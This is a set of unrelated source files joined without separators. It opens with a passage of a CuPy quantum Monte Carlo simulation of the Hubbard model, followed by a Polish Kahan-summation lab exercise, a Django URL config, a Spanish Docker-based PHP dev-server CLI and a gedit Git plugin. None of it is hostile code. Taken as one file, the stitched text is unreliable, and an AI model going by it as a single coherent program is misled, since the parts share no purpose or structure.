        HS_list = cp.empty((1, self.N_time, self.N_s)) #keep in mind the size of the array be smaller than the DRAM
        # mark_list, map_streams = self.initialize()
        strt = time.time()
        for msr in range(self.N_sw_measure+self.N_warm_up):
            for l in range(self.N_time):
                for i,stream in zip(mark_list,map_streams):
                    with stream:
                        randomlist = cp.random.random(size=(self.N_s))

                        update_G((1,),(1,),(cp.eye(self.N_s),cp.eye(self.N_s),G_up_m[i],  G_dn_m[i], hs_m[i], randomlist, self.N_s, self.N_time, sign_partition_accu[i], probability_m[i], gamma1_m[i], gamma2_m[i],self.BLOCKSIZE))
                        G_up_m[i], G_dn_m[i], Bk_m[i], Bk_inv_m[i], hs_m[i], cl_up_m[i], cl_dn_m[i], sign_U_interact_m[i],probability_m[i], gamma1_m[i], gamma2_m[i] = time_wrap(G_up_m[i], G_dn_m[i], Bk_m[i], Bk_inv_m[i], hs_m[i], cl_up_m[i], cl_dn_m[i], sign_U_interact_m[i],probability_m[i], gamma1_m[i], gamma2_m[i])
                        if l%self.N_from_scratch == 0:
                            G_up_m[i] = from_scratch(cl_up_m[i],self.N_qr)
                            G_dn_m[i] = from_scratch(cl_dn_m[i],self.N_qr)

                        if msr >= self.N_warm_up and l==self.N_time-1:
                            G_up_ms = cp.eye(self.N_s) - G_up_m[i]
                            G_dn_ms = cp.eye(self.N_s) - G_dn_m[i]
                            G_up_mar[i] += (G_up_ms)*sign_partition_accu[i,0]
                            G_dn_mar[i] += (G_dn_ms)*sign_partition_accu[i,0]
                            n_up_tmp = cp.diag(G_up_ms)
                            n_dn_tmp = cp.diag(G_dn_ms)
                            sz_tmp = (n_up_tmp-n_dn_tmp)/2
                            rho_tmp = (n_up_tmp+n_dn_tmp)/2
                            interaction_mar[i] +=  cp.sum(n_up_tmp * n_dn_tmp * self.U)*sign_partition_accu[i,0]
                            szsz,sxsx,rho = correlation(G_up_ms, G_dn_ms, sz_tmp, rho_tmp, n_up_tmp, n_dn_tmp, self.X_dimension, self.Y_dimension)
                            szsz_mar[i] += szsz*sign_partition_accu[i,0]
                            sxsx_mar[i] += sxsx*sign_partition_accu[i,0]
                            rho_mar[i] += rho*sign_partition_accu[i,0]
                            sign_mar[i] += sign_partition_accu[i,0]
                            N_measure[i] += 1
            HS_list = cp.concatenate([HS_list, hs_m])

            if msr >= self.N_warm_up and (msr+1) % hs_cached == 0:
                HS_list, = self.save_hs(HS_list, self.directory)

        HS_list = self.save_hs(HS_list, self.directory)
        end = time.time()
        N_msr = cp.mean(N_measure,axis=0)
        sign_msr = sign_mar/N_msr

        G_up_msr = cp.array([G_up_mar[i]/(N_msr*sign_msr[i]) for i in range(self.N_markov)])
        G_dn_msr = cp.array([G_dn_mar[i]/(N_msr*sign_msr[i]) for i in range(self.N_markov)])
        interaction_msr = cp.array([interaction_mar[i]/(N_msr*sign_msr[i]) for i in range(self.N_markov)])

        G_msr = G_up_msr+G_dn_msr

        kin = cp.array([cp.trace(cp.array(H_0_msr).dot(G_msr[i]))/self.N_s for i in range(self.N_markov)])
        intr = cp.array([interaction_msr[i]/self.N_s for i in range(self.N_markov)])
        filling = np.trace(cp.mean(G_msr,axis=0))/self.N_s
        mean_onsite_corr = cp.mean(cp.array([interaction_mar[i]/(self.U*cp.mean(cp.diag(G_up_mar[i])*cp.mean(cp.diag(G_dn_mar[i])))) for i in range(self.N_markov)]),axis=0)
        totenrgy = kin + intr
        err = 100*cp.std(totenrgy,axis=0)/cp.abs(cp.mean(totenrgy,axis=0))
        energy_mean = cp.mean(totenrgy,axis=0)

        szsz_msr = cp.array([szsz_mar[i,:]/(N_msr*sign_msr[i]) for i in range(self.N_markov)])
        sxsx_msr = cp.array([sxsx_mar[i,:]/(N_msr*sign_msr[i]) for i in range(self.N_markov)])
        rho_msr = cp.array([rho_mar[i,:]/(N_msr*sign_msr[i]) for i in range(self.N_markov)])

        sign_msr = cp.mean(cp.abs(sign_msr),axis=0)

        measures = {"elpsd_time":end-strt,
                    "kinetic_energy_mean":cp.mean(kin),
                    "interaction_energy_mean":cp.mean(intr),
                    "n_mean":filling,
                    "mean_onsite_corr":mean_onsite_corr,
                    "energy_mean":energy_mean,
                    "err_bar":err,
                    "sign_mean":sign_msr,
                    "markov_data":{
                        "G_up_mar":G_up_mar,
                        "G_dn_mar":G_dn_mar,
                        "N_msr":N_msr,
                        "sign_mar":sign_mar,
                        "interaction_mar":interaction_mar,
                        "correlations":{
                            "szsz_mar":szsz_mar,
                            "sxsx_mar":sxsx_mar,
                            "rho_mar":rho_mar
                        }
                                },
                    "model_params":{
                        "N_sw_measure" : self.N_sw_measure,
                        "N_warm_up" : self.N_sw_measure // 5,
                        "N_from_scratch" : self.N_from_scratch,
                        "N_qr" : self.N_qr,
                        "N_markov" : self.N_markov,
                        "chemical_potential" : self.chemical_potential,
                        "U" : self.U,
                        "tunneling" : self.tunneling,
                        "periodic_Y" : self.periodic_Y,
                        "periodic_X" : self.periodic_X,
                        "X_dimension" : self.X_dimension,
                        "Y_dimension" : self.Y_dimension,
                        "N_s" : self.X_dimension * self.Y_dimension,
                        "N_time" : self.N_time,
                        "Beta" : self.Beta,
                        "directory": self.directory,
                    }
                    }

        print(" time: {}s\n kinetic_energy_mean: {}\n interaction_energy_mean: {}\n n_mean: {}\n mean_onsite_corr: {}\n energy_mean: {}\n err_bar: {}\n sign_mean: {}".format(end - strt,cp.mean(kin),cp.mean(intr),filling,mean_onsite_corr,energy_mean,err,sign_msr))
        plt.plot(cp.asnumpy(szsz_msr[0]))
        return measures,

    def save_hs(self, hs, directory):
        cp.savez_compressed(directory+str(int(time.time()))+".npz", hs = hs)
        return cp.empty((1, self.N_time, self.N_s)) #keep in mind the size of the array be smaller than the DRAM

    def load_hs(self, directory):

        data = cp.load(directory)
        hs = data["hs"][1:]

        return hs

    def calc_var_green(self, directory, paramsjson, paramspjson):
        params = AQMC(**paramsjson)
        paramsp = AQMC(**paramspjson)
        hs_m = self.load_hs(directory)

        H_0 = make_hopping(params.X_dimension, params.Y_dimension, params.periodic_X, params.periodic_Y, params.tunneling)
        H_0 += np.identity(params.X_dimension * params.Y_dimension) * ((-1) * params.chemical_potential)

        sign_U_interact, T_hop, H0_array, _, _, _, _ = init_trotter(params.Beta,params.N_time,params.U_eff,H_0)
        Bk, Bk_inv = expmk(H0_array, T_hop)

        G_up_m = cp.zeros((params.N_s, params.N_s))
        G_dn_m = cp.zeros((params.N_s, params.N_s))

        H_0 = make_hopping(paramsp.X_dimension, paramsp.Y_dimension, paramsp.periodic_X, paramsp.periodic_Y, paramsp.tunneling)
        H_0 += np.identity(paramsp.X_dimension * paramsp.Y_dimension) * ((-1) * paramsp.chemical_potential)

        sign_U_interactp, T_hop, H0_array, _, _, _, _ = init_trotter(paramsp.Beta,paramsp.N_time,paramsp.U_eff,H_0)
        Bkp, Bk_inv = expmk(H0_array, T_hop)

        G_up_p = cp.zeros((paramsp.N_s, paramsp.N_s))
        G_dn_p = cp.zeros((paramsp.N_s, paramsp.N_s))

        pl = 0
        for hs in hs_m:
            cl_up, cl_dn = cluster(hs.copy(),Bk.copy(),sign_U_interact)

            G_up = from_scratch(cl_up, params.N_qr)
            G_dn = from_scratch(cl_dn, params.N_qr)
            print(cp.sum(cl_dn),cp.sum(G_up))
            clp_up, clp_dn = cluster(hs.copy(),Bkp.copy(),sign_U_interactp)

            G_upp = from_scratch(clp_up, paramsp.N_qr)
            G_dnp = from_scratch(clp_dn, paramsp.N_qr)

            signp_up, log_pp_up = cp.linalg.slogdet(G_upp)
            signp_dn, log_pp_dn = cp.linalg.slogdet(G_dnp)
            signp = signp_dn * signp_up
            log_pp = log_pp_up + log_pp_dn

            sign_up, log_p_up = cp.linalg.slogdet(G_up)
            sign_dn, log_p_dn = cp.linalg.slogdet(G_dn)
            sign = sign_dn * sign_up
            log_p = log_p_up + log_p_dn

            G_up_m += G_up * sign
            G_dn_m += G_dn * sign

            G_up_p += G_up * (signp / sign) * cp.exp(log_pp - log_p)
            G_dn_p += G_dn * (signp / sign) * cp.exp(log_pp - log_p)

            print((signp / sign) , log_pp ,log_p,cp.trace(G_dn_p),cp.sum(G_dn_p))
            pl += cp.exp(log_pp - log_p)

            # n_up_tmp = cp.diag(G_up)
            # n_dn_tmp = cp.diag(G_dn)
            # sz_tmp = (n_up_tmp-n_dn_tmp)/2
            # rho_tmp = (n_up_tmp+n_dn_tmp)/2

        return 1-cp.trace(G_up_p)/(pl*self.N_s),1-cp.trace(G_dn_p)/(pl*self.N_s),1-cp.trace(G_up_m)/(len(hs_m)*self.N_s),1-cp.trace(G_dn_m)/(len(hs_m)*self.N_s),
params = {
"N_sw_measure" : 10,
"N_warm_up" : 10 // 5,
"N_from_scratch" : 10,
"N_qr" : 10,
"N_markov" : 2,
"chemical_potential" : 0,
"U" : 4,
"tunneling" : 1,
"periodic_Y" : 1,
"periodic_X" : 1,
"X_dimension" : 16,
"Y_dimension" : 8,
"N_s" : 16*8,
"N_time" : 100,
"Beta" : 4,
"directory":""
}

paramsp = {
"N_sw_measure" : 10,
"N_warm_up" : 10 // 5,
"N_from_scratch" : 10,
"N_qr" : 10,
"N_markov" : 2,
"chemical_potential" : 0.2,
"U" : 4,
"tunneling" : 1,
"periodic_Y" : 1,
"periodic_X" : 1,
"X_dimension" : 16,
"Y_dimension" : 8,
"N_s" : 16*8,
"N_time" : 100,
"Beta" : 4,
"directory":""
}

a = AQMC(**params)


# Algorytm Kahana

# Zaimplementuj algorytm sumowania Kahana.

# 1.    Wyznacz bezwzględny i względny błąd obliczeń dla tych samych danych wejściowych jak w przypadku testów z Zadania 1.

# 2.    Wyjaśnij dlaczego w algorytm Kahana ma znacznie lepsze własności numeryczne? Do czego służy zmienna err?

# 3.    Porównaj czasy działania algorytmu Kahana oraz algorytmu sumowania rekurencyjnego dla tych samych danych wejściowych.

import numpy as np
import textFunctions
from textFunctions import *
import time

### Funkcje pomocnicze z lab01/zad1.py ###

def tworzMacierzOJednakowychWartosciach(wartosc, wielkosc):
    macierz = np.full((wielkosc), wartosc, dtype=np.float32)
    return macierz

def bladBezwzgledny(wartosc_dokladna, wartosc_zmierzona):
    return abs(wartosc_dokladna - wartosc_zmierzona)

def bladWzgledny(wartosc_dokladna, wartosc_zmierzona):
    if wartosc_dokladna==0:
        wartosc_dokladna = 1e-16
    return ( bladBezwzgledny( wartosc_dokladna, wartosc_zmierzona ) ) / wartosc_dokladna

def losowaLiczbaZPrzedzialu(zakres_start, zakres_end):
    wartosc = (zakres_end - zakres_start) * np.random.random(1) + zakres_start
    return wartosc[0]

def sumaBinarna(tablica):
    start = 0
    koniec = len(tablica)-1
    return pomocSumyBinarnej(tablica, start, koniec)

def pomocSumyBinarnej(tablica, start, koniec):
    if start == koniec:
        return tablica[start]

    elif start + 1 == koniec:
        return tablica[start] + tablica[koniec]

    else:
        breakout = int( int(start+koniec)/2 )
        return pomocSumyBinarnej(tablica, start, breakout) + pomocSumyBinarnej(tablica, breakout+1, koniec)

### Koniec funkcji pomocniczych

def sumaKahana(tab):
    sum = np.float32(0.0)
    err = np.float32(0.0)

    for i in range(len(tab)):
        y = tab[i] - err
        # print("y    jest typu {}".format(type(y)))
        temp = sum + y
        # print("temp jest typu {}".format(type(temp)))
        err = (temp - sum) - y
        sum = temp
    return sum

printTitle("Początek programu")

wartosc = np.float32( losowaLiczbaZPrzedzialu(0.1, 0.9) )
N = 10000000    # N = 10^7
macierz = tworzMacierzOJednakowychWartosciach(wartosc, N)

print("Wartość wybranej losowej liczby to {}.".format(wartosc))
print("Wielkość macierzy to {}.".format(N))

printSpacer()

printTitle("Suma Kahana")
tempSuma = sumaKahana(macierz)
tempProsteMnozenie = wartosc * N
print("Obliczona suma: {}".format(tempSuma))
print("Wynik mnożenia: {}".format(tempProsteMnozenie))
printSpacer()
tempBladBezwzgledny = bladBezwzgledny(tempProsteMnozenie, tempSuma)
tempBladWzgledny = bladWzgledny(tempProsteMnozenie, tempSuma)
print("Błąd bezwzględny: {}".format(tempBladBezwzgledny))                           # 2.1
print("Błąd względny: {} = {}%".format(tempBladWzgledny, tempBladWzgledny*100))     # Błędy bezwzględny i względny

# 2.2
# Algorytm Kahana ma znacznie lepsze własności numeryczne szczególnie w porównaniu z "prostym sumowaniem",
# gdyż zmienna "err" przechowuje małostkowy błąd numeryczny
# (który powstaje przy "obcinaniu" cyfr znaczących małej liczby w operacji dodania do dużej liczby)
# i likwiduje go przy następnej operacji dodawania.

printSpacer(2)
printTitle("Porównanie czasu wykonania dla dwóch algorytmów",0)
printTitle("(tj. algorytmu Kahana i algorytmu sortowania rekurencyjnego", 0)
printSpacer()

N2 = 10000000
print("Tworzę nową macierz o {} elementach.".format(N2))
macierz2 = tworzMacierzOJednakowychWartosciach(wartosc, N2)
printSpacer()

start = time.process_time()
sumaKahana(macierz2)
czas_1 = time.process_time() - start

start = time.process_time()
sumaBinarna(macierz2)
czas_2 = time.process_time() - start

print("Czas 'sumy Kahana':   {}s".format(czas_1))
print("Czas sumy 'binarnej': {}s".format(czas_2))

# 2.3
# Czasy dla tych dwóch algorytmów są bardzo zbliżone do siebie.
# Przy kilkunastu testach wynika, że algorytm "sumy binarnej" jest nieco szybszy, około 3-5%


from django.urls import path

from . import views

urlpatterns = [
    path('', views.journal, name='journal'),
    path('add_entry/', views.add_entry.as_view(),name='add_entry'),
    path('search/', views.SearchView.as_view(), name='search'),
    path('search/<int:pk>/', views.FoodDetail.as_view(),name='details'),
    path('search/food_register/', views.food_register.as_view(), name='food_register'),
    path('login/', views.login_view, name='login_view'),
    path('login/authenticate/', views.authenticate_view, name='authenticate'),
    path('logout/', views.logout_view, name='logout_view'),
    path('registrate/', views.registrate_view, name='sign_up'),
    path('registrate/process_account/', views.process_account, name='process_account'),
]


# -*- coding: utf-8 -*-

import click

import os
import subprocess
import getpass
import shutil
import shlex
import time
import json

def ejecutar_comando(shellcmd, verbose=True):
    p = subprocess.Popen(
        shlex.split(shellcmd),
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT
    )
    segundos_transcurridos = 0
    if verbose:
        click.echo(' ', nl=False)
    while(True):
        poll = p.poll()
        if poll == None:
            if verbose:
                click.echo('.', nl=False)
            if segundos_transcurridos > 20:
                p.kill()
                if verbose:
                    click.echo(click.style(' Falló', fg='red'))

                return -1
        else:
            if poll != 0:
                if verbose:
                    click.echo(click.style(' Falló', fg='red'))

                    print(p.stdout.read())
                return -1
            if verbose:
                click.echo(click.style(' Ok', fg='green'))

            return 0

        time.sleep(1)

        segundos_transcurridos += 1

def get_running_servers(docker_path, docker_image):
    shellcmd = '{docker_path} ps --no-trunc --format "{{{{.Names}}}}\t{{{{.Ports}}}}\t{{{{.Mounts}}}}" --filter ancestor={docker_image}'.format(
        docker_path=docker_path,
        docker_image=docker_image
    )
    p = subprocess.Popen(shlex.split(shellcmd), stdout=subprocess.PIPE)

    contenedores = p.communicate()[0].split('\n')

    container_data = {}

    for contenedor in contenedores:
        if contenedor.strip() == '':
            continue
        data = contenedor.split('\t')
        nombre = data.pop(0)
        if nombre.startswith('apds'):
            container_data[nombre] = data

    return container_data

def detener_contenedor(docker_path, nombre, verbose=True):
    shellcmd = '{docker_path} rm -f {nombre}'.format(
        docker_path=docker_path,
        nombre=nombre
    )
    ejecutar_comando(shellcmd, verbose)

def obtener_estado_contenedor(docker_path, imagen, nombre):
    '''Comprueba si un contenedor ha sido iniciado'''
    contenedores = get_running_servers(docker_path, imagen)
    ha_sido_iniciado = False
    for name in contenedores:
        if name == nombre:
            ha_sido_iniciado = True

    return ha_sido_iniciado

class Config(object):

    def __init__(self):
        cfg = self.get_conf()
        self.port = cfg['default_port']
        self.docker_path = cfg['docker_path']
        self.docker_image = cfg['docker_image']
        self.dir_maps = cfg['dir_maps']
        self.start_cmds = cfg['start_cmds']
        self.start_root_cmds = cfg['start_root_cmds']

    def get_conf(self):
        user_ini_path = os.path.expanduser('~/.config/apds.json')
        if not os.path.isfile(user_ini_path):
            cfg = self.get_default_cfg()
            with open(user_ini_path, 'w') as configfile:
                jsondata = json.dumps(cfg, sort_keys=True,
                    indent=4)
                configfile.write(jsondata)
        else:
            jsondata = open(user_ini_path).read()
            cfg = json.loads(jsondata)

        return cfg

    def get_default_cfg(self):
        cfg = {
            'default_port': '8080',
            'docker_image': 'joanrivera/apds:dev',
            'docker_path': '/usr/bin/docker',
            'dir_maps': [],
            'start_root_cmds': [],
            'start_cmds': [],
        }

        return cfg

pass_config = click.make_pass_decorator(Config, ensure=True)

@click.group()
@click.option('--port', '-p', type=click.INT,
        help='Puerto usado por el servidor')
@pass_config
def cli(config, port):
    '''Apache+PHP Development Server'''
    if port:
        config.port = port

###########
#  Start  #
###########

@click.command()
@click.option(
        '--document-root', '-d',
        type=click.Path(exists=True, file_okay=False),
        default='.',
        help='Directorio donde se encuentran los ficheros que van a ser servidos'
)
@click.option(
        '--server-droot', '-sdr',
        type=click.Path(exists=True, file_okay=False),
        default='.',
        help='Subdirectorio que va a cumplir la función de raíz del sitio web'
)
@pass_config
def start(config, document_root, server_droot):
    '''Inicia el servidor'''

    iniciado = obtener_estado_contenedor(
        config.docker_path, config.docker_image, 'apds'+str(config.port)
    )

    if iniciado:
        click.echo(click.style('Falló. ', fg='red'), nl=False)
        click.echo(
            'Ya hay un servidor ejecutándose en el puerto {}'.format(config.port)
        )
        exit(1)
    else:
        # Puede ser que hayan restos de servidores que han sido detenidos de
        # forma anormal, por lo que se intentan eliminar explícitamente
        detener_contenedor(config.docker_path, 'apds'+str(config.port), False)

    dir_maps_string = ' '.join(['-v \'{}\''.format(map) for map in config.dir_maps])
    click.echo('Iniciando servidor en puerto %s' % config.port, nl=False)
    droot_expanded = os.path.abspath(os.path.expanduser(document_root))
    shellcmd = '{docker_path} run -d -p {port}:80 -e DOCKER_USER="{username}" -e SERVER_DROOT="{server_droot}" -v {document_root}:/var/www/html {dir_maps} --name=apds{port} --hostname=apds {docker_image}'.format(
        docker_path=config.docker_path,
        port=config.port,
        dir_maps=dir_maps_string,
        document_root=droot_expanded,
        docker_image=config.docker_image,
        username=getpass.getuser(),
        server_droot=server_droot
    )
    ejecutar_comando(shellcmd)

    for cmd in config.start_cmds:
        run_in_container(config, True, cmd)

    for cmd in config.start_root_cmds:
        run_in_container(config, True, cmd)

##########
#  Stop  #
##########

@click.command()
@pass_config
def stop(config):
    '''Detiene el servidor'''
    nombre_contenedor = 'apds'+str(config.port)
    iniciado = obtener_estado_contenedor(
        config.docker_path, config.docker_image, nombre_contenedor
    )
    if not iniciado:
        click.echo(click.style('Falló. ', fg='red'), nl=False)
        click.echo(
            'No hay un servidor usando el puerto {}'.format(config.port)
        )
        exit(1)
    click.echo('Deteniendo servidor', nl=False)
    detener_contenedor(config.docker_path, nombre_contenedor)

#############
#  Restart  #
#############

@click.command()
@pass_config
def restart(config):
    '''Reinicia el servidor'''

    iniciado = obtener_estado_contenedor(
        config.docker_path, config.docker_image, 'apds'+str(config.port)
    )

    if not iniciado:
        click.echo(click.style('Falló. ', fg='red'), nl=False)
        click.echo(
            'No hay un servidor ejecutándose en el puerto {}'.format(config.port)
        )
        exit(1)

    click.echo('Reiniciando servidor', nl=False)
    shellcmd = '{docker_path} restart apds{port}'.format(
        docker_path=config.docker_path,
        port=config.port
    )
    ejecutar_comando(shellcmd)

#########
#  Run  #
#########

@click.command()
@click.option('--root', is_flag=True,
        help=u'Ejecuta los comandos como root')
@click.argument('comando', nargs=1)
@pass_config
def run(config, root, comando):
    '''Ejecuta un comando que esté disponible dentro del contenedor del servidor'''
    click.echo('Ejecutando: %s' % comando)
    run_in_container(config, root, comando)

def run_in_container(config, root, comando):
    comando='bash -c \'{}\''.format(comando)
    username = 'root'
    if not root:
        username = getpass.getuser()
    shellcmd = '{docker_path} exec -it -u={username} apds{port} {comando}'.format(
        docker_path=config.docker_path,
        port=config.port,
        comando=comando,
        username=username
    )
    subprocess.call(shlex.split(shellcmd))

##########
#  Logs  #
##########

@click.command()
@click.option('--follow', '-f', is_flag=True,
        help=u'Muestra las novedades del log según vayan apareciendo')
@click.option('--clear', is_flag=True,
        help=u'Elimina los contenidos del archivo de logs')
@click.option('--no-color', is_flag=True,
        help=u'Muestra los logs sin colores')
@pass_config
def logs(config, follow, clear, no_color):
    '''Muestra el log de errores de PHP'''
    log_path = '/var/log/apache2/error.log'
    if clear:
        comando = 'bash -c "echo \'\' > {}"'.format(log_path)
        shellcmd = '{docker_path} exec -it apds{port} {comando}'.format(
            docker_path=config.docker_path,
            port=config.port,
            comando=comando
        )
        subprocess.call(shellcmd, shell=True)
    else:
        follow = '-f' if follow == True else ''
        colorizer = 'cat' if no_color == True else 'log-colorizer'
        comando = 'bash -c "tail {} {} | {}"'.format(
            follow, log_path, colorizer
        )
        shellcmd = '{docker_path} exec -it apds{port} {comando}'.format(
            docker_path=config.docker_path,
            port=config.port,
            comando=comando
        )
        subprocess.call(shlex.split(shellcmd))

##########
#  List  #
##########

@click.command()
@pass_config
def list_servers(config):
    '''Lista los servidores en ejecución'''
    contenedores = get_running_servers(config.docker_path, config.docker_image)
    if len(contenedores) > 0:
        click.echo('{:10}{}'.format('PUERTO', 'DIRECTORIO'))
    else:
        click.echo(u'No hay servidores en ejecución')
    for nombre in contenedores.keys():
        puertos, directorios = contenedores[nombre]
        if nombre.startswith('apds'):
            puertos = puertos.split(',')
            puerto_apds = ''
            for puerto in puertos:
                puerto = puerto.strip()
                if puerto.endswith('->80/tcp'):
                    puerto = puerto.split('->80/tcp')[0]
                    puerto_apds = puerto.split(':')[1]
            click.echo('{:10}{}'.format(puerto_apds, directorios))

cli.add_command(start)
cli.add_command(stop)
cli.add_command(restart)

cli.add_command(run)
cli.add_command(logs)
cli.add_command(list_servers, 'list')


from gi.repository import GLib, GObject, Gio, Gedit, Ggit

class GitAppActivatable(GObject.Object, Gedit.AppActivatable):
    app = GObject.Property(type=Gedit.App)

    __instance = None

    def __init__(self):
        super().__init__()

        Ggit.init()

        GitAppActivatable.__instance = self

    def do_activate(self):
        self.clear_repositories()

    def do_deactivate(self):
        self.__git_repos = None
        self.__workdir_repos = None

    @classmethod
    def get_instance(cls):
        return cls.__instance

    def clear_repositories(self):
        self.__git_repos = {}
        self.__workdir_repos = {}

    def get_repository(self, location, is_dir, *, allow_git_dir=False):
        # The repos are cached by the directory
        dir_location = location if is_dir else location.get_parent()
        dir_uri = dir_location.get_uri()

        # Fast Path
        try:
            return self.__workdir_repos[dir_uri]

        except KeyError:
            pass

        try:
            repo = self.__git_repos[dir_uri]

        except KeyError:
            pass

        else:
            return repo if allow_git_dir else None

        # Doing remote operations is too slow
        if not location.has_uri_scheme('file'):
            return None

        # Must check every dir, otherwise submodules will have issues
        try:
            repo_file = Ggit.Repository.discover(location)

        except GLib.Error:
            # Prevent trying to find a git repository
            # for every file in this directory
            self.__workdir_repos[dir_uri] = None
            return None

        repo_uri = repo_file.get_uri()

        # Reuse the repo if requested multiple times
        try:
            repo = self.__git_repos[repo_uri]

        except KeyError:
            repo = Ggit.Repository.open(repo_file)

            # TODO: this was around even when not used, on purpose?
            head = repo.get_head()
            commit = repo.lookup(head.get_target(), Ggit.Commit)
            tree = commit.get_tree()

            self.__git_repos[repo_uri] = repo

        # Need to keep the caches for workdir and
        # the .git dir separate to support allow_git_dir
        if dir_uri.startswith(repo_uri):
            top_uri = repo_uri
            repos = self.__git_repos

        else:
            top_uri = repo.get_workdir().get_uri()
            repos = self.__workdir_repos

        # Avoid trouble with symbolic links
        while dir_uri.startswith(top_uri):
            repos[dir_uri] = repo

            dir_location = dir_location.get_parent()
            dir_uri = dir_location.get_uri()

            # Avoid caching the repo all the
            # way up to the top dir each time
            if dir_uri in repos:
                break

        if repos is self.__git_repos:
            return repo if allow_git_dir else None

        return repo

# ex:ts=4:et: